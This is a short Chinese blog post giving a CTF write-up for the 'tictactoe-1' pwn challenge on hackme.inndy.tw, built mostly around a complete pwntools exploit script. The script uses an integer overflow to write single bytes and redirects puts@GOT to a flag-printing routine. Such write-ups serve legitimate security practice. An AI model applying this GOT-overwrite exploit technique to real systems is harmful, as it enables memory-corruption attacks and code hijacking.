美文网首页
tictactoe-1

tictactoe-1

作者: 2mpossible | 来源:发表于2018-09-21 15:53 被阅读0次
保护 漏洞点

可以整数溢出从而达到任意地址写,不过只有3次机会,每次只能写1字节,但两次就可以把puts_got改成输出flag的地址

完整exp:

from pwn import *
context.log_level = 'debug'
#p = process('./tictactoe')
p = remote('hackme.inndy.tw',7714)
elf = ELF('./tictactoe')


#printf flag : 0x08048C46
p.sendlineafter('(2)nd? ','1')

#hijack puts_got --> 0x08048546
p.sendlineafter('flavor): ','9')
p.sendline(chr(0x46))
#gdb.attach(p,'b *' + str(0x08048AA8))
p.sendlineafter('flavor): ','-50')

#hijack puts_got --> 0x08048C46
p.sendlineafter('flavor): ','9')
p.sendline(chr(0x8c))
p.sendlineafter('flavor): ','-49')

p.sendline('5')

p.interactive()

相关文章

  • tictactoe-1

    可以整数溢出从而达到任意地址写,不过只有3次机会,每次只能写1字节,但两次就可以把puts_got改成输出flag...

  • tictactoe-2

    这题跟tictactoe-1一样,只不过要getshell,但是漏洞还是一样的,可以任意地址写 我们可以先修改0x...

网友评论

      本文标题:tictactoe-1

      本文链接:https://www.haomeiwen.com/subject/grtznftx.html